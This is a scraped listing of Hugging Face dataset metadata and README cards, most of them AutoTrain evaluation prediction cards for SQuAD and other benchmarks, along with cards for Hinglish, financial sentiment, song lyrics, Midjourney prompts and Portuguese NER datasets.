"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-d3ec9b9a-b64a-40a0-baff-3af478f604df-367/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/extractive-question-answering
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/extractive-question-answering
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-f2158b57-4f5f-457d-9656-edbe0fb0d311-398 | 2022-07-21T16:01:11.000Z | null | false | 0a02e8200fb7a51296112bade2ab912df6f09361 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-f2158b57-4f5f-457d-9656-edbe0fb0d311-398/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/roberta-base-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/roberta-base-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-e81e3618-f3e1-472b-97e0-2794cda0adb2-409 | 2022-07-21T16:09:50.000Z | null | false | 127f37dff7cde0aad160e7e0343214ae6114046e | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-e81e3618-f3e1-472b-97e0-2794cda0adb2-409/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/roberta-base-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/roberta-base-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-df92c53c-2bfd-442d-8572-7541578e7feb-4110 | 2022-07-21T16:23:07.000Z | null | false | 37906d94ced6a00549b67d7e5d5bd8b295042f5d | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-df92c53c-2bfd-442d-8572-7541578e7feb-4110/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/roberta-base-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/roberta-base-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
calbert | null | null | null | false | 1 | false | calbert/hinglish-large | 2022-09-22T13:54:30.000Z | null | false | e3d88e993898dafec8e57a66d67a24b757568ad5 | [] | [
"annotations_creators:found",
"language_bcp47:en-hi",
"language_creators:found",
"license:cc-by-4.0",
"multilinguality:multilingual",
"multilinguality:other-hindi-english-transliteration",
"size_categories:100K<n<1M",
"tags:calbert",
"tags:code-mixing",
"tags:code-mixed",
"tags:hinglish",
"tag... | https://huggingface.co/datasets/calbert/hinglish-large/resolve/main/README.md | ---
annotations_creators:
- found
language_bcp47:
- en-hi
language_creators:
- found
license:
- cc-by-4.0
multilinguality:
- multilingual
- other-hindi-english-transliteration
pretty_name: IndicCorp Hinglish
size_categories:
- 100K<n<1M
source_datasets: []
tags:
- calbert
- code-mixing
- code-mixed
- hinglish
- india
- indic
- english
- hindi
task_categories:
- feature-extraction
- fill-mask
- sentence-similarity
- text2text-generation
task_ids:
- masked-language-modeling
--- |
autoevaluate | null | null | null | false | 6 | false | autoevaluate/autoeval-staging-eval-project-9ec0b53a-81c5-4d01-88f6-bf53413cd1a8-4611 | 2022-07-21T16:34:17.000Z | null | false | 738a202f3044f0e5191aeee1061701c61f15e6cb | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-9ec0b53a-81c5-4d01-88f6-bf53413cd1a8-4611/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: autoevaluate/extractive-question-answering
metrics: []
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/extractive-question-answering
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-9ec0b53a-81c5-4d01-88f6-bf53413cd1a8-4612 | 2022-07-21T17:25:56.000Z | null | false | 6d679cc141274969e47290ea5e6e6b3f25016591 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-9ec0b53a-81c5-4d01-88f6-bf53413cd1a8-4612/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: autoevaluate/distilbert-base-cased-distilled-squad
metrics: []
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/distilbert-base-cased-distilled-squad
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
rjac | null | null | null | false | 3 | false | rjac/all-the-news-2-1-Component-ones-cluster-labels | 2022-07-31T16:42:40.000Z | null | false | 56bcdcb3662d0c7a9409485d4499472ab7302350 | [] | [] | https://huggingface.co/datasets/rjac/all-the-news-2-1-Component-ones-cluster-labels/resolve/main/README.md | |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-7c1a5e5f-11505530 | 2022-07-21T17:47:03.000Z | null | false | 1c37d22eef2e4e729d8908c098b0362848f42c51 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-7c1a5e5f-11505530/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: autoevaluate/roberta-base-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/roberta-base-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
iuihgisgsd | null | null | null | false | 1 | false | iuihgisgsd/KHGKJHKGH | 2022-07-21T17:58:38.000Z | null | false | 4cef5e07f40409be5073c3f94d5d5e7ef5ce7f62 | [] | [
"license:cc-by-sa-4.0"
] | https://huggingface.co/datasets/iuihgisgsd/KHGKJHKGH/resolve/main/README.md | ---
license: cc-by-sa-4.0
---
|
FinanceInc | null | null | null | false | 33 | false | FinanceInc/auditor_sentiment | 2022-07-21T19:03:51.000Z | null | false | 42ab35c272ec2a3248521e36ffffed0115dab581 | [] | [
"annotations_creators:expert-generated",
"language_creators:found",
"language:en",
"multilinguality:monolingual",
"size_categories:1K<n<10K",
"source_datasets:original",
"task_categories:text-classification",
"task_ids:multi-class-classification",
"task_ids:sentiment-classification"
] | https://huggingface.co/datasets/FinanceInc/auditor_sentiment/resolve/main/README.md | ---
annotations_creators:
- expert-generated
language_creators:
- found
language:
- en
multilinguality:
- monolingual
size_categories:
- 1K<n<10K
source_datasets:
- original
task_categories:
- text-classification
task_ids:
- multi-class-classification
- sentiment-classification
paperswithcode_id: null
pretty_name: Auditor_Sentiment
---
# Dataset Card for Auditor Sentiment
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
## Dataset Description
Auditor review sentiment collected by News Department
- **Point of Contact:**
Talked to COE for Auditing, currently sue@demo.org
### Dataset Summary
Auditor sentiment dataset of sentences from financial news. The dataset consists of several thousand sentences from English language financial news categorized by sentiment.
### Supported Tasks and Leaderboards
Sentiment Classification
### Languages
English
## Dataset Structure
### Data Instances
```
"sentence": "Pharmaceuticals group Orion Corp reported a fall in its third-quarter earnings that were hit by larger expenditures on R&D and marketing .",
"label": "negative"
```
### Data Fields
- sentence: a tokenized line from the dataset
- label: a label corresponding to the class as a string: 'positive' - (2), 'neutral' - (1), or 'negative' - (0)
### Data Splits
A train/test split was created randomly with a 75/25 split
## Dataset Creation
### Curation Rationale
To gather our auditor evaluations into one dataset. Previous attempts using off-the-shelf sentiment had only 70% F1, this dataset was an attempt to improve upon that performance.
### Source Data
#### Initial Data Collection and Normalization
The corpus used in this paper is made out of English news reports.
#### Who are the source language producers?
The source data was written by various auditors.
### Annotations
#### Annotation process
This release of the auditor reviews covers a collection of 4840
sentences. The selected collection of phrases was annotated by 16 people with
adequate background knowledge on financial markets. The subset here is where inter-annotation agreement was greater than 75%.
#### Who are the annotators?
They were pulled from the SME list, names are held by sue@demo.org
### Personal and Sensitive Information
There is no personal or sensitive information in this dataset.
## Considerations for Using the Data
### Social Impact of Dataset
[More Information Needed]
### Discussion of Biases
All annotators were from the same institution and so interannotator agreement
should be understood with this taken into account.
### Licensing Information
License: Demo.Org Proprietary - DO NOT SHARE
This dataset is based on the [financial phrasebank](https://huggingface.co/datasets/financial_phrasebank) dataset. |
nbsullivan | null | null | null | false | 1 | false | nbsullivan/song_lyrics | 2022-07-21T20:19:14.000Z | null | false | 795824409d295424e69005d881d5370f177265b8 | [] | [] | https://huggingface.co/datasets/nbsullivan/song_lyrics/resolve/main/README.md | annotations_creators:
- no-annotation
language:
- en
language_creators:
- found
license:
- unknown
multilinguality:
- monolingual
pretty_name: structured song lyrics
size_categories: []
source_datasets: []
tags:
- lyrics
task_categories:
- text-generation
task_ids:
- language-modeling
[Needs More Information]
# Dataset Card for song_lyrics
## Table of Contents
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-instances)
- [Data Splits](#data-instances)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
## Dataset Description
- **Homepage:** [Needs More Information]
- **Repository:** [Needs More Information]
- **Paper:** [Needs More Information]
- **Leaderboard:** [Needs More Information]
- **Point of Contact:** [Needs More Information]
### Dataset Summary
Structured song lyrics
### Supported Tasks and Leaderboards
text generation
### Languages
English
## Dataset Structure
### Data Instances
[Needs More Information]
### Data Fields
[Needs More Information]
### Data Splits
[Needs More Information]
## Dataset Creation
### Curation Rationale
[Needs More Information]
### Source Data
#### Initial Data Collection and Normalization
[Needs More Information]
#### Who are the source language producers?
[Needs More Information]
### Annotations
#### Annotation process
[Needs More Information]
#### Who are the annotators?
[Needs More Information]
### Personal and Sensitive Information
[Needs More Information]
## Considerations for Using the Data
### Social Impact of Dataset
[Needs More Information]
### Discussion of Biases
[Needs More Information]
### Other Known Limitations
[Needs More Information]
## Additional Information
### Dataset Curators
[Needs More Information]
### Licensing Information
[Needs More Information]
### Citation Information
[Needs More Information] |
succinctly | null | null | null | false | 99 | false | succinctly/midjourney-prompts | 2022-07-22T01:49:16.000Z | null | false | e670508f77f244a24a8bcf100f02011df9d8435b | [] | [
"license:apache-2.0"
] | https://huggingface.co/datasets/succinctly/midjourney-prompts/resolve/main/README.md | ---
license: apache-2.0
---
[Midjourney](https://midjourney.com) is an independent research lab whose broad mission is to "explore new mediums of thought". In 2022, they launched a text-to-image service that, given a natural language prompt, produces visual depictions that are faithful to the description. Their service is accessible via a public [Discord server](https://discord.com/invite/midjourney): users issue a query in natural language, and the Midjourney bot returns AI-generated images that follow the given description. The raw dataset (with Discord messages) can be found on Kaggle: [Midjourney User Prompts & Generated Images (250k)](https://www.kaggle.com/datasets/succinctlyai/midjourney-texttoimage). The authors of the scraped dataset have no affiliation to Midjourney.
This HuggingFace dataset was [processed](https://www.kaggle.com/code/succinctlyai/midjourney-text-prompts-huggingface) from the raw Discord messages to solely include the text prompts issued by the user (thus excluding the generated images and any other metadata). It could be used, for instance, to fine-tune a large language model to produce or auto-complete creative prompts for image generation.
Check out [succinctly/text2image-prompt-generator](https://huggingface.co/succinctly/text2image-prompt-generator), a GPT-2 model fine-tuned on this dataset. |
arize-ai | null | # @InProceedings{huggingface:dataset,
# title = {A great new dataset},
# author={huggingface, Inc.
# },
# year={2020}
# }
# | This dataset was crafted to be used in our tutorial [Link to the tutorial when
ready]. It consists on product reviews from an e-commerce store. The reviews
are labeled on a scale from 1 to 5 (stars). The training & validation sets are
fully composed by reviews written in english. However, the production set has
some reviews written in spanish. At Arize, we work to surface this issue and
help you solve it. | false | 1 | false | arize-ai/cifar10_quality_drift | 2022-10-25T10:40:25.000Z | null | false | 35a56f3c865a3b3abdc7e3386804fe2063efd6f2 | [] | [
"annotations_creators:expert-generated",
"language_creators:expert-generated",
"language:en",
"license:mit",
"multilinguality:monolingual",
"size_categories:10K<n<100K",
"source_datasets:extended|imdb",
"task_categories:image-classification",
"task_ids:multi-class-classification"
] | https://huggingface.co/datasets/arize-ai/cifar10_quality_drift/resolve/main/README.md | ---
annotations_creators:
- expert-generated
language_creators:
- expert-generated
language:
- en
license:
- mit
multilinguality:
- monolingual
size_categories:
- 10K<n<100K
source_datasets:
- extended|imdb
task_categories:
- image-classification
task_ids:
- multi-class-classification
pretty_name: sentiment-classification-reviews-with-drift
---
# Dataset Card for `reviews_with_drift`
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
### Dataset Summary
This dataset was crafted to be used in our tutorial [Link to the tutorial when ready]. It consists on a large Movie Review Dataset mixed with some reviews from a Hotel Review Dataset. The training/validation set are purely obtained from the Movie Review Dataset while the production set is mixed. Some other features have been added (`age`, `gender`, `context`) as well as a made up timestamp `prediction_ts` of when the inference took place.
### Supported Tasks and Leaderboards
`text-classification`, `sentiment-classification`: The dataset is mainly used for text classification: given the text, predict the sentiment (positive or negative).
### Languages
Text is mainly written in english.
## Dataset Structure
### Data Instances
[More Information Needed]
### Data Fields
[More Information Needed]
### Data Splits
[More Information Needed]
## Dataset Creation
### Curation Rationale
[More Information Needed]
### Source Data
[More Information Needed]
#### Initial Data Collection and Normalization
[More Information Needed]
#### Who are the source language producers?
[More Information Needed]
### Annotations
[More Information Needed]
#### Annotation process
[More Information Needed]
#### Who are the annotators?
[More Information Needed]
### Personal and Sensitive Information
[More Information Needed]
## Considerations for Using the Data
### Social Impact of Dataset
[More Information Needed]
### Discussion of Biases
[More Information Needed]
### Other Known Limitations
[More Information Needed]
## Additional Information
### Dataset Curators
[More Information Needed]
### Licensing Information
[More Information Needed]
### Citation Information
[More Information Needed]
### Contributions
Thanks to [@fjcasti1](https://github.com/fjcasti1) for adding this dataset. |
Gpaiva | null | """
_DESCRIPTION = | (pt) NERDE é um dataset para NER a partir de documentos jurídicos da defesa econômica em português do Brasil, foi criado em colaboração com o Cade e o laboratório LATITUDE/UnB.
(en) NERDE is a NER dataset from economic defense legal documents in Brazilian Portuguese, created in collaboration with Cade and the LATITUDE/UnB laboratory. | false | 1 | false | Gpaiva/NERDE | 2022-07-28T01:27:18.000Z | null | false | 3a0ac3296e467afae7bd4d6ffc6ab795af8904d9 | [] | [
"annotations_creators:expert-generated",
"language:pt",
"language_creators:expert-generated",
"license:cc-by-4.0",
"multilinguality:monolingual",
"size_categories:10K<n<100K",
"source_datasets:original",
"tags:ner",
"tags:portuguese-ner",
"tags:economic-defense",
"task_categories:token-classific... | https://huggingface.co/datasets/Gpaiva/NERDE/resolve/main/README.md | ---
annotations_creators:
- expert-generated
language:
- pt
language_creators:
- expert-generated
license:
- cc-by-4.0
multilinguality:
- monolingual
pretty_name: NERDE
size_categories:
- 10K<n<100K
source_datasets:
- original
tags:
- ner
- portuguese-ner
- economic-defense
task_categories:
- token-classification
task_ids:
- named-entity-recognition
---
# Dataset Card for NERDE
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
- **Repository:** [NERDE repository](https://github.com/guipaiva/NERDE)
- **Point of Contact:** [Guilherme P. Paiva](mailto:guipaivagpp@gmail.com)
### Dataset Summary
NERDE is a dataset for Named Entity Recognition for Economic Defense. It was created in collaboration with LATITUDE/UnB Laboratory and the Administrative Council for Economic Defense (Cade)
### Supported Tasks and Leaderboards
[More Information Needed]
### Languages
The language in the dataset is Brazilian Portuguese from legal documents. The BCP-47 code for Brazilian Portuguese is pt-BR
## Dataset Structure
### Data Instances
[More Information Needed]
### Data Fields
[More Information Needed]
### Data Splits
[More Information Needed]
## Dataset Creation
### Curation Rationale
[More Information Needed]
### Source Data
#### Initial Data Collection and Normalization
[More Information Needed]
#### Who are the source language producers?
[More Information Needed]
### Annotations
#### Annotation process
[More Information Needed]
#### Who are the annotators?
[More Information Needed]
### Personal and Sensitive Information
[More Information Needed]
## Considerations for Using the Data
### Social Impact of Dataset
[More Information Needed]
### Discussion of Biases
[More Information Needed]
### Other Known Limitations
[More Information Needed]
## Additional Information
### Dataset Curators
[More Information Needed]
### Licensing Information
[More Information Needed]
### Citation Information
[More Information Needed]
### Contributions
Thanks to [@guipaiva](https://github.com/guipaiva) for adding this dataset.
|
ASCCCCCCCC | null | null | null | false | 18 | false | ASCCCCCCCC/mix_info | 2022-07-22T03:41:12.000Z | null | false | 04a24bc0667e9a45a51f0ada6681aebc35898723 | [] | [
"license:apache-2.0"
] | https://huggingface.co/datasets/ASCCCCCCCC/mix_info/resolve/main/README.md | ---
license: apache-2.0
---
|
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-sst2-ee5c821a-11545531 | 2022-07-22T06:33:53.000Z | null | false | 49ea9e40149871828d02aed166988c67dcda75c4 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:sst2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-sst2-ee5c821a-11545531/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- sst2
eval_info:
task: multi_class_classification
model: distilbert-base-uncased-finetuned-sst-2-english
metrics: []
dataset_name: sst2
dataset_config: default
dataset_split: train
col_mapping:
text: sentence
target: label
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Multi-class Text Classification
* Model: distilbert-base-uncased-finetuned-sst-2-english
* Dataset: sst2
* Config: default
* Split: train
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@Neez](https://huggingface.co/Neez) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-cnn_dailymail-7c900a64-11555532 | 2022-07-23T22:08:35.000Z | null | false | 97197c4a27472a1cb112d4f384ba6f70e040b2a6 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:cnn_dailymail"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-cnn_dailymail-7c900a64-11555532/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- cnn_dailymail
eval_info:
task: summarization
model: tuner007/pegasus_summarizer
metrics: ['accuracy', 'f1', 'precision', 'recall']
dataset_name: cnn_dailymail
dataset_config: 3.0.0
dataset_split: train
col_mapping:
text: article
target: highlights
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: tuner007/pegasus_summarizer
* Dataset: cnn_dailymail
* Config: 3.0.0
* Split: train
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@Neez](https://huggingface.co/Neez) for evaluating this model. |
deepklarity | null | null | null | false | 5 | false | deepklarity/huggingface-spaces-dataset | 2022-07-22T09:10:17.000Z | null | false | d1b54f2b452230e082fbdc30fe42b0f96c44ff16 | [] | [
"license:cc"
] | https://huggingface.co/datasets/deepklarity/huggingface-spaces-dataset/resolve/main/README.md | ---
license: cc
---
This dataset provides information of all the spaces (~6,200 at time of snapshot) created on [HuggingFace Spaces](https://huggingface.co/spaces) 🤗. Most of the data comes from a public API endpoint while some of the data is enriched by web scraping. The dataset is intended to provide a snapshot of the spaces and was last updated in first week of *July-2022*.
Along with the name of the space, the dataset consists of following columns:
- likes (number of likes on the space)
- sdk (streamlit,gradio or other)
- status (was running successfully or had error when snapshot was taken)
- total_commits (number of commits in the space)
- last_commit (when did last commit happen)
- community_interactions (number of interactions in the newly introduced Community tab)
Apart from these, we have also added some post-processing columns (where space was using gradio):
- inputs (Image/Text/Slider etc)
- outputs (Image/Audio/Textbox etc)
- ai_ml_reqs (If the requirements.txt contain a popular ML repo dependency like: torch, tensorflow, pandas, sklearn, scipy etc)
Contributors:
- [Abdullah Meda](https://www.linkedin.com/in/abdmeda/)
- [Ayush Ranwa](https://twitter.com/Ayushranwa6)
- [Deepak Rawat](https://twitter.com/dsr_ai)
- [Kartik Godawat](https://twitter.com/kartik_godawat)
Please reach out to us for any queries or discussions.
|
ccpp | null | null | null | false | 1 | false | ccpp/test1 | 2022-07-22T09:01:23.000Z | null | false | def0f9aff0c7f41639cb13e0307cdb17d76965ec | [] | [
"license:afl-3.0"
] | https://huggingface.co/datasets/ccpp/test1/resolve/main/README.md | ---
license: afl-3.0
---
|
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad-7ad816c0-11585539 | 2022-07-22T09:33:29.000Z | null | false | f2f8f031c380b6d0ccd2a8102a40717e4a036884 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad-7ad816c0-11585539/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: autoevaluate/extractive-question-answering
metrics: []
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/extractive-question-answering
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad-7ad816c0-11585538 | 2022-07-22T09:34:17.000Z | null | false | add96f0971c3921b3b77150838ef0d0494986fa9 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad-7ad816c0-11585538/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: autoevaluate/roberta-base-squad2
metrics: []
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: autoevaluate/roberta-base-squad2
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@lewtun](https://huggingface.co/lewtun) for evaluating this model. |
